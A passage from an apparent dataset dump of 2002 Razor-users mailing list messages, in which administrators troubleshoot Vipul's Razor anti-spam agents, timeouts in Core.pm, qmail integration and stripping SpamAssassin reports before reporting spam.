for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Mike Burger ,Chad Norwood ,"Mon, 12 Aug 2002 20:05:57 -0500 (EST)",[Razor-users] Re: No results from razor-check on known spam?,"It's got to be razor 2.x...I've never installed razor 1.x However: [mburger@burgers mburger]$ razor-report -v Razor Agents 2.14, protocol version 3 As to more details...I don't have any...it runs, seems to do its thing, and then gives that error. On Mon, 12 Aug 2002, Chad Norwood wrote: > Can you send more details about the error? > and also do a 'razor-report -v' to make sure 2.x is being called. > > -chad > > On 11/08/02 21:09 -0500, Mike Burger wrote: > ) Ok...I need to amend this. > ) > ) I don't get the error when I check the spam...just when I go to report it. > ) > ) On Sun, 11 Aug 2002, Mike Burger wrote: > ) > ) > I did...unfortunately, now I get this: > ) > > ) > Died at /usr/bin/razor-check line 32, line 1. > ) > > ) > Did I need to remove and reinstall, or something. I just did a make > ) > install over the existing installation. > ) > > ) > On Sun, 11 Aug 2002, Vipul Ved Prakash wrote: > ) > > ) > > On Sun, Aug 11, 2002 at 07:39:41AM -0500, Mike Burger wrote: > ) > > > > ) > > > Any ideas what might have changed, here? I'm running razor-agents-2.12, > ) > > > and razor-agents-sdk-2.0.3. > ) > > > ) > > Mike, > ) > > > ) > > Please upgrade to 2.14 as many bugs were fixed between the two releases, and > ) > > see if your problem persists. > ) > > > ) > > cheers, > ) > > vipul. > ) > > > ) > > > ) > > ) > > ) > > ) > ------------------------------------------------------- > ) > This sf.net email is sponsored by:ThinkGeek > ) > Welcome to geek heaven. > ) > http://thinkgeek.com/sf > ) > _______________________________________________ > ) > Razor-users mailing list > ) > Razor-users@lists.sourceforge.net > ) > https://lists.sourceforge.net/lists/listinfo/razor-users > ) > > ) > ) > ) > ) ------------------------------------------------------- > ) This sf.net email is sponsored by:ThinkGeek > ) Welcome to geek heaven. > ) http://thinkgeek.com/sf > ) _______________________________________________ > ) Razor-users mailing list > ) Razor-users@lists.sourceforge.net > ) https://lists.sourceforge.net/lists/listinfo/razor-users > ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chad Norwood ,Raghavendra Bhat ,"Mon, 12 Aug 2002 18:09:52 -0700",[Razor-users] Re: Reporting: connection refused,"You should not be reporting spam to 64.90.187.2 (apt). You need to report only to nomination servers, which, like catalogue servers, can and will be changed, and are set by the discovery servers. Razor agents do discovery for you automatically, storing server names in .razor/*.lst files -chad On 10/08/02 10:48 +0530, Raghavendra Bhat wrote: ) Hello List: ) ) I have been using Razor for quite a while. I have been reporting spam ) to the server at 64.90.187.2 from mutt. ) ) I am unable to report as of the past two days. The message which is ) echoed back says 'Connection refused'. ) ) Am I doing some brain dead thing ? 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Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chad Norwood ,Sven ,"Mon, 12 Aug 2002 18:23:34 -0700",[Razor-users] Re: Questions on miscellaneous errata and issues,"On 09/08/02 20:49 -0400, Sven wrote: ) In tweaking my system to try to optimize the use of razor (this now from a network/connection/etc standpoint, not so much from a philosphical stance on what is or is not considered spam and who should decide it) I have come across a couple issues that I hope I may be able to get some relief on ... ) ) 1) What *exactly* does ""Unable to connect to honor.cloudmark.com:2703; Reason: Operation now in progress."" mean ??? I have seen this error message some 1700 times today (between 2 clustered servers) representing a little over 1% failure rate. In an enterprise level I was hoping for more along the lines of maybe one-tenth that ..... It's a network error - That string is not created by Razor Agents. Its trying to connect and having trouble. 1700 times seems abnormally high. How many successful connections were there in the same timespan? ) 2) Related somewhat to question 1: is there (or will there be if currently not) a way of adjusting the timeout the setting for the razor-check to await a response from the server it queries? I am running this as a sendmail milter and adjusting the milter timeouts won't help if the razor-check script times out first anyway .... The timeout is hardcoded to 15 secs. No plans right now to make that an option. You can always edit the source - Core.pm. :) ) 3) What are the plans for fire.cloudmark, apt.cloudmark, ubik.cloudmark? It seems that we have all these catalogue servers yet a good portion of the time, only one is available or the last discovery ends up only listing one (currently honor.cloudmark) in the cataloge.lst file. The system is designed so servers can be added and subtracted without the clients caring - if the razor client can't connect to a server, it re-discovers, getting all currently available servers and stores results locally. ) 4) What would be the implications/requirements/caveats of hosting a catalogue server or, at the minimum, a caching server (similar to the way mail-abuse.org, for example, does dns zone transfers of its rbl list -- I realize that this is a completely different mechanism, but you get the point I am driving at here). I realize that there is an issue of polluting the catalogue but perhpas there could be some way of certifying a catalogue server? What type of bandwidth considerations are we looking at here? (It is just the signatures that are actually transferred across the pipes, is it not?) We are looking into releasing caching catalogue servers for those besides us to use. ) It really looks like there is a great potential here for a very workable tool and if I can get some of these issues addressed or can even be of some assistance, all the better ..... ) ) Sven Willenberger ) Systems Administration ) Delmarva Online, Inc. Thanks! -chad ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Sven"" ",,"Mon, 12 Aug 2002 22:38:31 -0400",Re: [Razor-users] Re: Questions on miscellaneous errata and issues,"----- Original Message ----- > Date: Mon, 12 Aug 2002 18:23:34 -0700 > From: Chad Norwood > To: Sven > Cc: razor-users@example.sourceforge.net > Subject: [Razor-users] Re: Questions on miscellaneous errata and issues > > On 09/08/02 20:49 -0400, Sven wrote: > ) In tweaking my system to try to optimize the use of razor (this now from a network/connection/etc standpoint, not so much from a philosphical stance on what is or is not considered spam and who should decide it) I have come across a couple issues that I hope I may be able to get some relief on ... > ) > ) 1) What *exactly* does ""Unable to connect to honor.cloudmark.com:2703; Reason: Operation now in progress."" mean ??? I have seen this error message some 1700 times today (between 2 clustered servers) representing a little over 1% failure rate. In an enterprise level I was hoping for more along the lines of maybe one-tenth that ..... > > It's a network error - That string is not created by > Razor Agents. Its trying to connect and having trouble. > 1700 times seems abnormally high. How many successful > connections were there in the same timespan? > Today was not as bad ... apt.cloudmark was the server du jour and experienced about 800 ""Unable to connect .... Reason: Operation now in progress"" out of some 189,000 ""bootup[1]"" or roughly 0.5% -- better than the 1% before but still a bit higher than I would like. I suspect it is because a previous timeout from razor-agents has a process id that is being held by an open milter socket. The process id's cycle, the number comes up again and the error occurs as a duplicate pid occurs. I will tweak my milter settings to shorten the total time to allow the socket to live per connect. > > ) 2) Related somewhat to question 1: is there (or will there be if currently not) a way of adjusting the timeout the setting for the razor-check to await a response from the server it queries? I am running this as a sendmail milter and adjusting the milter timeouts won't help if the razor-check script times out first anyway .... > > The timeout is hardcoded to 15 secs. > No plans right now to make that an option. > You can always edit the source - Core.pm. :) In looking at Core.pm I find a couple possible places where that code might be. Is it: my $select = new IO::Select ($sock); my @handles = $select->can_read (15); if ($handles[0]) { $self->log (8,""Connection established""); my $greeting = <$sock>; # $sock->autoflush; # this is on by default as of IO::Socket 1.18 $self->{sock} = $sock; $self->{connected_to} = $server; $self->{select} = $select; $self->log(4,""$server >> "". length($greeting) ."" server greeting: $greeting""); return 1 if $params{discovery_server}; unless ($self->parse_greeting($greeting) ) { $self->nextserver or return $self->errprefix(""connect2""); return $self->connect; } return 1; } else { $self->log (3, ""Timed out (15 sec) while reading from $self->{s}->{ip}.""); ?????? or unless ($sock) { $sock = IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => 'tcp', Timeout => 20, ); unless ( $sock ) { $self->log (3,""Unable to connect to $server:$port; Reason: $!.""); return if $params{discovery_server}; $self->nextserver or return $self->errprefix(""connect1""); return $self->connect; } } ?????? [of course the latter reflects a differenct timeout setting altogether - one part for proxy, the other for non-proxy] > > > ) 3) What are the plans for fire.cloudmark, apt.cloudmark, ubik.cloudmark? It seems that we have all these catalogue servers yet a good portion of the time, only one is available or the last discovery ends up only listing one (currently honor.cloudmark) in the cataloge.lst file. > > The system is designed so servers can be added and > subtracted without the clients caring - if the razor > client can't connect to a server, it re-discovers, getting > all currently available servers and stores results locally. > I changed the default discovery period to every 12 hours in order to compensate for the recent sporadic nature of the servers' availability (I realize that the issue was related to syncing and server upgrades .... but I might as well play it safe for a while). > > ) 4) What would be the implications/requirements/caveats of hosting a catalogue server or, at the minimum, a caching server (similar to the way mail-abuse.org, for example, does dns zone transfers of its rbl list -- I realize that this is a completely different mechanism, but you get the point I am driving at here). I realize that there is an issue of polluting the catalogue but perhpas there could be some way of certifying a catalogue server? What type of bandwidth considerations are we looking at here? (It is just the signatures that are actually transferred across the pipes, is it not?) > > We are looking into releasing caching catalogue servers > for those besides us to use. If I can be of help or if you have details about to participate in this portion (caching or catalogueing), please let me know. > > > ) It really looks like there is a great potential here for a very workable tool and if I can get some of these issues addressed or can even be of some assistance, all the better ..... > ) > ) Sven Willenberger > ) Systems Administration > ) Delmarva Online, Inc. > > > Thanks! > > -chad > > > > --__--__-- > > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > > > End of Razor-users Digest ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chad Norwood ,Sven ,"Mon, 12 Aug 2002 20:15:55 -0700",[Razor-users] Re: Questions on miscellaneous errata and issues,"On 12/08/02 22:38 -0400, Sven wrote: ) ) > The timeout is hardcoded to 15 secs. ) > No plans right now to make that an option. ) > You can always edit the source - Core.pm. :) ) Correction - It is 15 secs for read/write, but 20 secs for initial connect. ) In looking at Core.pm I find a couple possible places where that code might ) be. Is it: So if you want to adjust the initial connect timeout, edit Core.pm:1622 in version 2.14 For reads and writes, lines 1463, 1481. ) > The system is designed so servers can be added and ) > subtracted without the clients caring - if the razor ) > client can't connect to a server, it re-discovers, getting ) > all currently available servers and stores results locally. ) > ) ) I changed the default discovery period to every 12 hours in order to ) compensate for the recent sporadic nature of the servers' availability (I ) realize that the issue was related to syncing and server upgrades .... but I ) might as well play it safe for a while). If a server is taken out the clients will connect, fail, re-discover automatically, save results, and continue to use the other servers. You don't *need* to change anything, it will all work out. ) > We are looking into releasing caching catalogue servers ) > for those besides us to use. ) ) If I can be of help or if you have details about to participate in this ) portion (caching or catalogueing), please let me know. ok, thanks. -chad ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,"""Craig R . Hughes"" ","Mon, 12 Aug 2002 20:33:26 -0700",Re: [Razor-users] Re: What's wrong with the Razor servers now?,"On Mon, Aug 12, 2002 at 10:38:44AM -0700, Craig R . Hughes wrote: > This is, I think the biggest fallacy here. You don't have to > block jack shit to get a high trust rating, you just have to > confirm Razor's existing opinion on a large number of messages: > > if(check() == spam) then submit() else revoke() > > That algorithm boosts trust, but reduces the information in > SpamNet by damping. Again, this is not true. Only certain events (reports/revokes) for a spam are rewarded and the algorithm for picking these up is based on many different factors. -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Steve Price ,razor-users@example.sourceforge.net,"Mon, 12 Aug 2002 22:49:51 -0500",Re: [Razor-users] Re: What's wrong with the Razor servers now?,"On Mon, Aug 12, 2002 at 08:33:26PM -0700, Vipul Ved Prakash wrote: > On Mon, Aug 12, 2002 at 10:38:44AM -0700, Craig R . Hughes wrote: >> >> if(check() == spam) then submit() else revoke() >> >> That algorithm boosts trust, but reduces the information in >> SpamNet by damping. > > Again, this is not true. Only certain events (reports/revokes) for a spam > are rewarded and the algorithm for picking these up is based on many > different factors. A lot of the questions/concerns brought up on this list wrt TeS will be lessened when the source for it is released. Any guestimate on when that might happen? -steve ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Michael J Humphries"" ",,"Tue, 13 Aug 2002 10:36:14 -0500",RE: [Razor-users] FW: intigration with qmail,"Thank you for your response I will verify that I have taken these steps that you have metioned but as well I would like to stop mail from entering my mail boxes and need the info about how to integrate with qmail in newbie terms if that is possible. Thank you again for your help Michael Humphries Alphacomm.net Network Administrator 906-639-3500 877-450-3500 adminmjh@alphacomm.net www.alphacomm.net -----Original Message----- From: razor-users-admin@example.sourceforge.net [mailto:razor-users-admin@lists.sourceforge.net] On Behalf Of Daniel Higgins Sent: Tuesday, August 13, 2002 10:15 AM To: razor-users@example.sourceforge.net Subject: Re: [Razor-users] FW: intigration with qmail i don't think you get exactly what razor does. razor is used to stop spam from entering a mail box, not to leave a mail server. altough you could probably use it that way i doubt it would do much good (if the mail is leaving the server, it most likely is a new spam and wouldn`t get caught by razor) you might want to look into dealing with those troublesome users directly. and (as you`ve probably been screamed at a lot of times) close your open relay if you have one, there are plenty of sites that tells you how (most RBL sites) -- Daniel Higgins Netcommunications Inc. Administrateur Systme / Network Administrator Tel: 450-346-3401 Fax: 450-346-3587 dhiggins@netc.net http://www.netc.net ----- Original Message ----- From: ""Michael J Humphries"" To: Sent: Tuesday, August 13, 2002 10:44 AM Subject: [Razor-users] FW: intigration with qmail > I sent this message already and I am sorry if I am asking the wrong > question or if I have been asking stupid questions but I am in an urgent > time when people are using my service to spam others and I NEED to stop > them quickly. I hope that some one can help if not please just let me > know that I have been asking the bad questions or I need to be in a > different list serv. Thank you all so much for your time > > Michael Humphries > Alphacomm.net > Network Administrator > 906-639-3500 > 877-450-3500 > adminmjh@alphacomm.net > www.alphacomm.net > > > -----Original Message----- > From: Michael J Humphries [mailto:adminmjh@alphacomm.net] > Sent: Friday, August 09, 2002 2:25 PM > To: 'razor-users@example.sourceforge.net' > Subject: intigration with qmail > > i have Redhat 7.2 and qmail 1.0.2 and vpopmail 5.3.8 I am tring to > intigrate the -revoke -check etc.. and can not find where to do so I > only found the procmail example. Is there a place I can find this > information or has someone already run into this and found the way to > get this done > > Michael Humphries > Alphacomm.net > Network Administrator > 906-639-3500 > 877-450-3500 > adminmjh@alphacomm.net > www.alphacomm.net > > > > > > ------------------------------------------------------- > This sf.net email is sponsored by: Dice - The leading online job board > for high-tech professionals. Search and apply for tech jobs today! > http://seeker.dice.com/seeker.epl?rel_code=31 > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code1 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code1 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Adrian Ho ,razor-users@example.sourceforge.net,"Tue, 13 Aug 2002 23:33:32 +0800",Re: [Razor-users] FW: intigration with qmail,"On Tue, Aug 13, 2002 at 09:44:33AM -0500, Michael J Humphries wrote: > I sent this message already and I am sorry if I am asking the wrong > question or if I have been asking stupid questions but I am in an urgent > time when people are using my service to spam others and I NEED to stop > them quickly. Sounds like you're solving the wrong problem. If untrusted strangers are relaying spam through your qmail server, it's a fair bet that you've seriously botched your qmail config (like forgetting to create an rcpthosts file or something). Anyway, if you insist on using razor to resolve this problem, I would suggest tossing qmail-scanner and SpamAssassin into the mix as well. The former provides the qmail-integration framework on which the latter does its work (including razor-check invocations). Fair warning: It'll be far more resource-intensive than simply denying relaying privileges to everyone except the folks you trust. To find out how to do that, go to (which, incidentally, should be your first stop for all things qmail) and search for ""qmail newbie's guide to relaying"". - Adrian ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Justin Shore ,razor-users@example.sourceforge.net,"Tue, 13 Aug 2002 11:58:03 -0500",[Razor-users] Stripping the SpamAssassin report,"I'm assuming I need to strip the SpamAssassinReport.txt attachments from my spam mailbox before I run the mailbox through razor-report, correct? Does anyone know of an easy way to do this? Thanks Justin -- -- Justin Shore, ES-SS ES-SSR Pittsburg State University Network & Systems Manager Kelce 157Q Office of Information Systems Pittsburg, KS 66762 Voice: (620) 235-4606 Fax: (620) 235-4545 http://www.pittstate.edu/ois/ Warning: This message has been quadruple Rot13'ed for your protection. ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Justin Shore ,Patrick ,"Tue, 13 Aug 2002 13:00:00 -0500",Re: [Razor-users] Stripping the SpamAssassin report,"At 10:12 AM -0700 8/13/02, Patrick wrote: >On Tue, 13 Aug 2002, Justin Shore wrote: > >> I'm assuming I need to strip the SpamAssassinReport.txt attachments >> from my spam mailbox before I run the mailbox through razor-report, >> correct? Does anyone know of an easy way to do this? > >man spamassassin Whoops. Sorry 'bout that. Didn't think to check spamassassin's man page. -- -- Justin Shore, ES-SS ES-SSR Pittsburg State University Network & Systems Manager Kelce 157Q Office of Information Systems Pittsburg, KS 66762 Voice: (620) 235-4606 Fax: (620) 235-4545 http://www.pittstate.edu/ois/ Warning: This message has been quadruple Rot13'ed for your protection. ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Justin Shore ,Theo Van Dinter ,"Tue, 13 Aug 2002 13:01:42 -0500",Re: [Razor-users] Stripping the SpamAssassin report,"At 1:52 PM -0400 8/13/02, Theo Van Dinter wrote: >On Tue, Aug 13, 2002 at 11:58:03AM -0500, Justin Shore wrote: >> I'm assuming I need to strip the SpamAssassinReport.txt attachments >> from my spam mailbox before I run the mailbox through razor-report, >> correct? Does anyone know of an easy way to do this? > >use ""spamassassin -r"". It'll take a message, strip the SA bits, and >report to razor, all in one shot. :) Ah... You learn something new every day! This would make things quite a bit easier. I assume it can handle a mailbox full of mail to report rather than a single piece of spam from STDIN. I'll check the docs on that though. Thanks! Justin -- -- Justin Shore, ES-SS ES-SSR Pittsburg State University Network & Systems Manager Kelce 157Q Office of Information Systems Pittsburg, KS 66762 Voice: (620) 235-4606 Fax: (620) 235-4545 http://www.pittstate.edu/ois/ Warning: This message has been quadruple Rot13'ed for your protection. ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Patrick ,David Raistrick ,"Tue, 13 Aug 2002 11:07:27 -0700 (PDT)",Re: [Razor-users] Stripping the SpamAssassin report,"On Tue, 13 Aug 2002, David Raistrick wrote: > On Tue, 13 Aug 2002, Patrick wrote: > > > On Tue, 13 Aug 2002, Justin Shore wrote: > > > > > I'm assuming I need to strip the SpamAssassinReport.txt attachments > > > from my spam mailbox before I run the mailbox through razor-report, > > > correct? Does anyone know of an easy way to do this? > > > > man spamassassin > > > To actually answer Justin's question, (one can assume that he has > rewrite_subject and report_header turned on because he wants them..and > that he would like to be able to strip the added bits off before he sends > them to razor) something as simple as the following would probably work > just fine. Just pipe your message through this, then on into > razor-report: > > grep -v ""SPAM:"" | sed 's/Subject: \*\*\*\*\*SPAM\*\*\*\*\* /Subject: /' Why not just use spamassassin -r? -r, --report Report this message as verified spam. This will sub- mit the mail message read from STDIN to various spam- blocker databases, such as Vipul's Razor ( http://razor.sourceforge.net/ ) and the Distributed Checksum Clearinghouse ( http://www.rhyolite.com/anti- spam/dcc/ ). If the message contains SpamAssassin markup, this will be stripped out automatically before submission. /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell Asking the wrong questions is the leading cause of wrong answers \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Justin Shore ,Mike Burger ,"Tue, 13 Aug 2002 13:06:16 -0500",Re: [Razor-users] Stripping the SpamAssassin report,"At 12:20 PM -0500 8/13/02, Mike Burger wrote: >Make sure you have this in your .spamassassin/user_prefs: This might be a problem. I'll have to look into it further. I just got SA working yesterday. It's being called from MIMEDefang. I'm not sure if it will look for user preferences when run like that. One would hope it would be I can't say for certain. I'll look in to it. ># By default, the subject lines of suspected spam will be tagged. ># This can be disabled here. ># >rewrite_subject 0 Yeah, I disabled the subject rewrite. I also lowered required_hits to 1 (wonder if I can do zero) so that almost all mail is scored--I'm testing it right now. auto_report_threshold was raised to 100 to make sure that all mail gets through to me for now. ># By default, spamassassin will include its report in the body ># of suspected spam. Enabling this causes the report to go in the ># headers instead. Using 'use_terse_report' for this is recommended. ># >report_header 1 Ah, now I didn't notice this. I rather like this option. I may set my global default to this. >The first tells it not to add *****SPAM***** to the subject, the second >tells it to put the report in the headers, instead of the body. > >If the report is in the headers, it won't be calculated in the >razor-check. This makes sense. I may do that for just this reason. Thanks! Justin -- -- Justin Shore, ES-SS ES-SSR Pittsburg State University Network & Systems Manager Kelce 157Q Office of Information Systems Pittsburg, KS 66762 Voice: (620) 235-4606 Fax: (620) 235-4545 http://www.pittstate.edu/ois/ Warning: This message has been quadruple Rot13'ed for your protection. ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Theo Van Dinter ,Justin Shore ,"Tue, 13 Aug 2002 14:46:21 -0400",Re: [Razor-users] Stripping the SpamAssassin report,"On Tue, Aug 13, 2002 at 01:01:42PM -0500, Justin Shore wrote: > Ah... You learn something new every day! This would make things > quite a bit easier. I assume it can handle a mailbox full of mail to > report rather than a single piece of spam from STDIN. I'll check the > docs on that though. Unfortunately not, it's a one at a time thing. If it would help you, I have a script that I use which handles a mbox file at a time, strips the SA stuff, reports to razor, and can then do things like open relay checks, reports to spamcop, etc. It's available via: http://www.kluge.net/~felicity/random/handlespam.txt :) -- Randomly Generated Tagline: ""But you have to allow a little for the desire to evangelize when you think you have good news."" - Larry Wall ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Justin Shore ,Theo Van Dinter ,"Tue, 13 Aug 2002 14:00:21 -0500",Re: [Razor-users] Stripping the SpamAssassin report,"At 2:46 PM -0400 8/13/02, Theo Van Dinter wrote: >On Tue, Aug 13, 2002 at 01:01:42PM -0500, Justin Shore wrote: >> Ah... You learn something new every day! This would make things >> quite a bit easier. I assume it can handle a mailbox full of mail to >> report rather than a single piece of spam from STDIN. I'll check the >> docs on that though. > >Unfortunately not, it's a one at a time thing. If it would help >you, I have a script that I use which handles a mbox file at a time, >strips the SA stuff, reports to razor, and can then do things like >open relay checks, reports to spamcop, etc. It's available via: >http://www.kluge.net/~felicity/random/handlespam.txt I'll give that a looksie. I've been running a week's worth of maillog relay= IPs through rbcheck every Sunday. Found quite a few. I should break up the list and run multiple rbcheck instances. Just haven't gotten there yet though. I think I'll have either MIMEDefang or Procmail keep a copy of messages over a certain score for daily razor-reporting. I could just let SA do it too I suppose. Say, maybe you can tell me what I'm doing wrong in SA. I added report_header 1 to my /etc/mail/mimedefang/spamassassin/sa-mimedefang.cf but it didn't appear to change anything. I bounced over another copy of spam to my spamtrap and it still created the SPAM: attachment. sa-mimedefang.cf has this in it now: required_hits 1 auto_report_threshold 100 ok_locales en rewrite_subject 0 report_header 1 use_terse_report 1 defang_mime 0 skip_rbl_checks 1 I can't figure out if that was the write cf to modify or not. I also have a /etc/mail/spamassassin/local.cf but it's empty. I think I might be taking too many bites out of too many pies at once. :-) The required_hits changes I made to sa-mimedefang.cf seem to have worked. I don't know why the report_header change didn't though. Any ideas? Justin -- -- Justin Shore, ES-SS ES-SSR Pittsburg State University Network & Systems Manager Kelce 157Q Office of Information Systems Pittsburg, KS 66762 Voice: (620) 235-4606 Fax: (620) 235-4545 http://www.pittstate.edu/ois/ Warning: This message has been quadruple Rot13'ed for your protection. ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Mike Burger ,Theo Van Dinter ,"Tue, 13 Aug 2002 14:03:47 -0500 (EST)",Re: [Razor-users] Stripping the SpamAssassin report,"On Tue, 13 Aug 2002, Theo Van Dinter wrote: > On Tue, Aug 13, 2002 at 11:58:03AM -0500, Justin Shore wrote: > > I'm assuming I need to strip the SpamAssassinReport.txt attachments > > from my spam mailbox before I run the mailbox through razor-report, > > correct? Does anyone know of an easy way to do this? > > use ""spamassassin -r"". It'll take a message, strip the SA bits, and > report to razor, all in one shot. :) As long as you're not using razor2, that is, right? ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Mike Burger ,David Raistrick ,"Tue, 13 Aug 2002 14:03:20 -0500 (EST)",Re: [Razor-users] Stripping the SpamAssassin report,"On Tue, 13 Aug 2002, David Raistrick wrote: > To actually answer Justin's question, (one can assume that he has > rewrite_subject and report_header turned on because he wants them..and > that he would like to be able to strip the added bits off before he sends > them to razor) something as simple as the following would probably work > just fine. Just pipe your message through this, then on into > razor-report: I wouldn't make that assumption. I'd assume that rewrite_subject was on, and report_header was off, because that's the default configuration, and not everyone knows to go look in the user_prefs file to make those changes. ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 David Raistrick ,Mike Burger ,"Tue, 13 Aug 2002 12:12:25 -0700 (PDT)",Re: [Razor-users] Stripping the SpamAssassin report,"On Tue, 13 Aug 2002, Mike Burger wrote: > On Tue, 13 Aug 2002, David Raistrick wrote: > > > To actually answer Justin's question, (one can assume that he has > > rewrite_subject and report_header turned on because he wants them..and > I wouldn't make that assumption. I'd assume that rewrite_subject was on, > and report_header was off, because that's the default configuration, and Erps. I did misword that. The message (and assumption) was oriented toward a message that has rewrite_subject on and report_header off...the default configuration. For the header removals it contained enough to also take care of dcc_add_header 1, but not report_header 1. thanks. ..david --- david raistrick drais@atlasta.net http://www.expita.com/nomime.html ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Craig R.Hughes"" ","Thu, 15 Aug 2002 10:52:13 +0100",Re: [Razor-users] dot-tk registrations hitting Razor,"""Craig R.Hughes"" said: > Hmm, tricky because we've got Razor1 and Razor2 rolled into one > rule. Probably should break them out as separate rules anyway > so they can get different scores, etc. Not too hard to do, but > it's nearly 11pm so I'll see if I can get to it tomorrow. IMO 2 separate rules is a good idea anyway, razor2 has totally different hitrates (generally better I think) to razor1. --j.",0,0 Patrick ,"""Oates, Isaac"" ","Wed, 14 Aug 2002 14:12:56 